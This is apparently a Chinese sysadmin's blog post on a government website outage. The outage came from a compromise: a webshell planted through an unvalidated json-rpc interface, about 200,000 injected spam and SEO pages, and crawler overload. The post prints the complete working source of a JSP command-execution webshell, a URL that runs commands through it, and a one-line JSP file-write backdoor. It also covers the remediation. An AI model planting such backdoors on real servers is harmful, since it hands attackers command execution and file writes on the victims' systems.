对于这样的回答，我早已习惯，因为要想从客户（政府客户）那里得到有用的咨询，基本上很难，因为客户不是专业人士，所以只能根据客户的描述，一步步去判断问题通过客户给出的这个提示，问题判断方向有如下几个方面：1、网站无法访问了，可能服务down了也可能服务器宕机了2、网站访问很慢，基本打不开，所以客户就认为宕机了，但是此时服务和服务器可能还处于启动状态3、客户自身网络问题，或者DNS问题？带着疑问，开始了故障排查二、问题排查作为一个运维老鸟，我的一贯思路就是眼见为实，既然客户说网站不能访问了，那我还需要自己测试一下，打开浏览器，输入域名，网站久久不能打开，直到超时看来确实网站打不开了2.1、初步排查接着，开始登录服务器把脉，客户网站的架构是nginx+tomcat，我首先通过ssh登录到nginx服务器上，连接速度还是很快的，登录上去后，先执行下top命令，检查下系统整体运行状态，如下图所示：这是一个centos6.9的系统，nginx服务器的硬件配置是32Gb内存，2颗8核物理CPU，nginx通过负载均衡将动态、静态请求发送给后端的多个tomcat上，tomcat运行在另外两台独立的服务器上，硬件配置为2颗8核物理CPU，64GB内存（这配置太给力了，客户不缺钱）从图中可以看出，服务器CPU资源有一定负载，但是不高，32GB的内存资源还比较充足，cached了不少内存，这部分都是可以使用的另外16个nginx进程每个平均占用CPU负载在30%-40%之间整体来看，系统资源还是比较充足的，初步判断，不是nginx服务器的问题接着，继续登录到tomcat所在的服务器，仍然通过top命令查看系统整体资源状态，如下图所示:tomcat服务器也是一个centox6.9的系统，系统整体负载偏高（最高14），64Gb的物理内存，可用的仅剩下200M左右，虽然cached了48GB左右，另外可以看到有三个java进程，每个进程占用cpu资源都在100%以上，并且一直持续了几个小时，这里有些异常，最后，关注了一下，启动java进程的是apsds这个普通用户然后继续查看，发现这三个java进程，其实是启动了三个tomcat实例，每个tomcat实例都是一个独立的服务，接着，再去查看第二个tomcat物理服务器，发现跟现在这个无论是硬件配置、还是软件部署环境，都完全一致，也就是两台tomcat启动了6个tomcat实例，通过前端的nginx做负载均衡整合，对外提供web服务2.2、第二次排查通过简单的一遍服务器状态过滤，发现可能出问题的是tomcat服务器，于是将精力集中在tomcat服务器上，于是，重新登录tomcat机器，查看tomcat访问日志，通过对日志的查看，发现了一些异常，因为有很多不熟悉的静态页面被访问，如下图所示：图中966.html这个页面感觉有问题，因为客户的网站静态页面是自动生成的，生成的页面后缀是.htm的，而不是html，这是其一，其二，通过查看966.html这个页面的访问次数，吓了一大跳，一天的时间，300多万次访问，这明显不正常，因为客户网站平时的访问量都在10万以内，根本不可能这么高接着，继续查看访问日志，发现类似966.html的这种页面访问非常多，每个页面的访问量都很大，于是，就到/htm/966.html对应的网站目录下，一探究竟吧，进入网站根目录下的htm目录，又发现了一些异常，如下图所示：这个目录是网站生成的静态页面目录，可以看到有基于htm的静态页面，这些页面以gk开头，是客户网站自动生成的正常文件，另外还有很多以html结尾的静态文件，这些文件不清楚是怎么来的，此外，还看到有个1.jsp的文件，这个就更诡异了，在静态页面目录下，不可能放一个jsp文件啊，经过与客户的咨询以及与研发的沟通，确认这些以html结尾的静态文件以及1.jsp文件都不是网站本身生成或使用的，那么重点来了，先来看看这些文件的内容吧首先查看以html结尾的静态文件内容是什么吧，这里就以这个996.html文件为例，通过浏览器访问996.html文件，顿时，傻眼了
请看下图：百度，中奖查询
，此时脑子的第一反应是，网站被植入WebShell了，看来问题非常严重接着，继续打开1.jsp这个文件，看看这个文件到底是什么鬼，此文件内容如下：（代码仅供学习，请勿其它用途）<%@page import=\"java.io.IOException\"%><%@page import=\"java.io.InputStreamReader\"%><%@page import=\"java.io.BufferedReader\"%><%@ page language=\"java\" import=\"java.util.\" pageEncoding=\"UTF-8\"%><% String cmd = request.getParameter(\"cmd\"); System.out.println(cmd); Process process = null; List<String> processList = new ArrayList<String>(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = \"\"; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String s = \"\"; for (String line : processList) { s += line + \"\n\"; } if (s.equals(\"\")) { out.write(\"null\"); }else { out.write(s); }%>好嘛，稍懂程序的人都能看出，这是一个WebShell木 马后门，它能干啥，先来试试，就知道了，打开浏览器，访问：http://ip/htm/1.jsp?cmd=ls /,如下图所示：这不是我的服务器根目录吗，然后将”cmd=“后面的字符替换成任意linux下可执行的命令，都能正常执行，这就是浏览器下的命令行啊
再执行一个写操作看看，在浏览器访问如下地址：[apsds@tomcatserver1 htm]$ pwd/usr/local/tomcat/webapps/ROOT/htm[apsds@tomcatserver1 htm]$ ll test.html -rw-r----- 1 apsds apsds 0 10月 16 10:57 test.html看到了吧，成功写入不过还是比较幸运的，因为tomcat进程是通过普通用户apsds启动的，所以通过这个1.jsp只能在apsds用户权限下进行添加、删除操作，如果tomcat是以root用户启动的话，那问题就更严重了，因为这个1.jsp可以对系统下任意文件或目录进行修改、删除操作了，其实相当于浏览器的root权限操作了到这里为止，好像问题正在逐渐浮出水面但是，我们高兴太早了，上个文件还没完全搞清楚，新的问题又来了，我们在查询客户网站搜索权重的时候，新的问题出现了，如下图所示：这是在搜索引擎搜到的客户网站内容，很明显，客户网站被植入了非法内容，然后被搜索引擎收录了，点开搜索出来的任意一个页面，内容如下：经过分析，可以发现，这个页面的部分内容被替换了，替换的内容都是一些网站的关键字，应该是黑帽SEO的手段这里说到了搜索引擎，突然意识到，此次的故障，是否跟搜索引擎有关系呢？整理了一下思路，感觉应该是这样的：1、网站应该有程序漏洞，在互联网被扫描到，然后注入了webshell2、骇客通过webshell植入了大量广告、推销网页3、因为网站（gov网站）权重比较高，所以搜索引擎比较喜欢来访4、大量广告、推销网页被搜索引擎抓取，导致网站访问量激增5、客户的网站是nginx+多个tomcat实现的负载均衡，所有动态、静态页面请求都交给tomcat来处理，当出现大量静态请求时，可能会导致tomcat无法响应因为tomcat处理静态请求性能很差2.3、第三次排查带着上面这个思路，继续进行排查，步骤如下：1、排查网站上被注入的html页面的数量通过find查找、过滤，发现被植入的html页面有两类，分别是百度虚假中奖广告页面和黑帽seo关键字植入页面两种类型的html页面，总共有20w个左右，这个数量相当惊人2、排查网站访问日志通过对tomcat访问日志的统计和分析，发现每天对这些注入页面的访问量超过500w次，并且几乎全部是通过搜索引擎过来的流量，做了个简单的过滤统计，结果如下：[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Baiduspider|wc -l 596650[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Googlebot|wc -l 540340[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep 360Spider|wc -l 63040[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep bingbot|wc -l 621670[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep YisouSpider|wc -l 3800100[root@tomcatserver1 logs]# cat access_log.2018-10-16.txt|grep Sogou|wc -l 533810其中，Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必应蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛，其中，YisouSpider过来抓取的量最大，正常来说，蜘蛛抓取不应该这么频繁啊，于是简单搜索了一下YisouSpider这个蜘蛛，如下图所示：看来是个流氓蜘蛛，网络上对这个YisouSpider的蜘蛛骂声一片3、查看nginx错误日志通过查看nginx错误日志，发现有大量连接返回超时请求（502错误），也就是说，nginx把请求交给tomcat后，tomcat迟迟不返回，导致返回超时，出现502 bad gateway错误这个很明显是tomcat无法响应请求导致的那么就来看看tomcat服务器上的连接数情况：[root@tomcatserver1 logs]# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 125300CLOSE_WAIT 12FIN_WAIT1 197FIN_WAIT2 113ESTABLISHED 13036SYN_RECV 115CLOSING 14LAST_ACK 17这里其实只需要关注三种状态即可：ESTABLISHED表示正在通信，TIME_WAIT表示主动关闭，正在等待远程套接字的关闭传送，CLOSE_WAIT表示远程被动关闭，正在等待关闭这个套接字从输出可知，服务器上保持了大量TIME_WAIT状态和ESTABLISHED状态，大量的TIME_WAIT，应该是tomcat无法响应请求，然后超时，主动关闭了连接，导致出现TIME_WAIT，种种迹象表明，tomcat无法处理这么大的连接请求，导致响应缓慢，最终服务出现无响应通过这三个方面的排查，基本验证了自己的思路，那么问题也随即找到了三、解决问题网站有漏洞，然后被注入webshell，继而被上传了大量广告、推广网页，导致搜索引擎疯狂抓取，最终导致脆弱的tomcat不堪重负，失去响应，这是此次故障发生的根本原因1、修复网站程序漏洞要解决这个问题，首选要做的是找到网站漏洞，研发介入后，通过代码排查，发现了网站漏洞的原因，是因为网站后台使用了一个轻量级的远程调用协议json-rpc来与服务器进行数据交换通讯，但是此接口缺乏校验机制，导致骇客获取了后台登录的账号和密码，然后在后台上传了一个webshell，进而控制了操作系统研发在第一时间修复了这个漏洞，然后就是运维的干活时间了我们首先在服务器上进行了网页扫描，主要扫描html为后缀的文件，然后全部删除（因为我们的网页都是以.htm结尾），同时删除了那个1.jsp文件，并继续查找和检查其它可疑的jsp文件，检查过程中又发现了一个jsp后门，基本特征码如下：（代码仅供学习）<% if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.getRealPath(\"/\")+request.getParameter(\"f\"))).write(request.getParameter(\"t\").getBytes()); %>然后果断删除不留后患2、禁封网络蜘蛛网络上的蜘蛛、爬虫很多，有些是正规的，有些是流氓，适当的网络蜘蛛抓取对网站权重、流量有益，而那些流氓的蜘蛛必须要禁止，要实现禁封网络蜘蛛，在nginx下可通过如下配置实现：server { listen 80; server_name 127.0.0.1; #添加如下内容即可防止爬虫if ($http_user_agent ~ \"qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot\") { return 403; } 这样，当蜘蛛过来爬取你网站的时候，直接给他返回一个403错误，这里禁止了很多网络蜘蛛，如果你还需要蜘蛛的话，可保留几个比较正规的，例如谷歌蜘蛛和百度蜘蛛即可，其实一律封掉上面这个办法有点简单粗暴，但是最有效，其实还可以在网站更目录下增加Robots.txt文件，在这个文件中我们可以声明该网站中不想被robots访问的部分，或者指定搜索引擎只收录指定的内容robots.txt是搜索引擎中访问网站的时候要查看的第一个文件robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看和抓取的，当一个搜索蜘蛛访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt，如果存在，搜索蜘蛛就会按照该文件中的内容来确定访问的范围；如果该文件不存在，所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面Robots协议是国际互联网界通行的道德规范，请注意，是道德标准，因此，如果搜索引擎不遵守约定的Robots协议，那么通过在网站下增加robots.txt也是不起作用的目前的网络蜘蛛大致分为4种：（1）、真名真姓，遵循robots.txt协议（2）、真名真姓，不遵循robots.txt协议（3）、匿名，不遵循robots.txt协议（4）、伪装：不遵循robots.txt协议目前看来，绝大多数的搜索引擎机器人都遵守robots.txt规则的但是一些不知名的网络蜘蛛就会经常耍流氓，对待这种蜘蛛，建议使用上面nginx下配置的规则，直接给它deny了下面看几个robots.txt配置例子（1）、允许所有的robot访问User-agent: Disallow:（2）、禁止所有搜索引擎访问网站的任何部分User-agent: Disallow: /（3）、禁止所有搜索引擎访问网站的几个部分（下例中的a、b、c目录）User-agent: Disallow: /a/Disallow: /b/Disallow: /c/（4）、禁止某个搜索引擎的访问（下例中的YisouSpider）User-agent: YisouSpiderDisallow: /（5）、只允许某个搜索引擎的访问（下例中的Googlebot）User-agent: GooglebotDisallow:User-agent: Disallow: /通过Robots.txt文件方法去现在搜索引擎，是一个防君子不防小人的方法，碰到流氓蜘蛛就没辙了，有些无耻的搜索引擎根本不看网站的robots.txt，一路狂抓下去，实在另人发指3、调整网站的web架构因为tomcat处理静态资源能力很低，因此，可以将静态资源交给nginx来处理，动态资源交给tomcat处理，通过这种动、静分类方式，可以大大提高网站的抗压性能我们采用的方式是将tomcat生成的htm文件放到一个共享磁盘分区，然后在nginx服务器上通过nfs挂载这个磁盘分区，这样nginx就可以直接访问这些静态文件通过上面三个步骤的操作，网站在半个小时内负载下降，很快恢复正常了
（图片来源网络，侵删）
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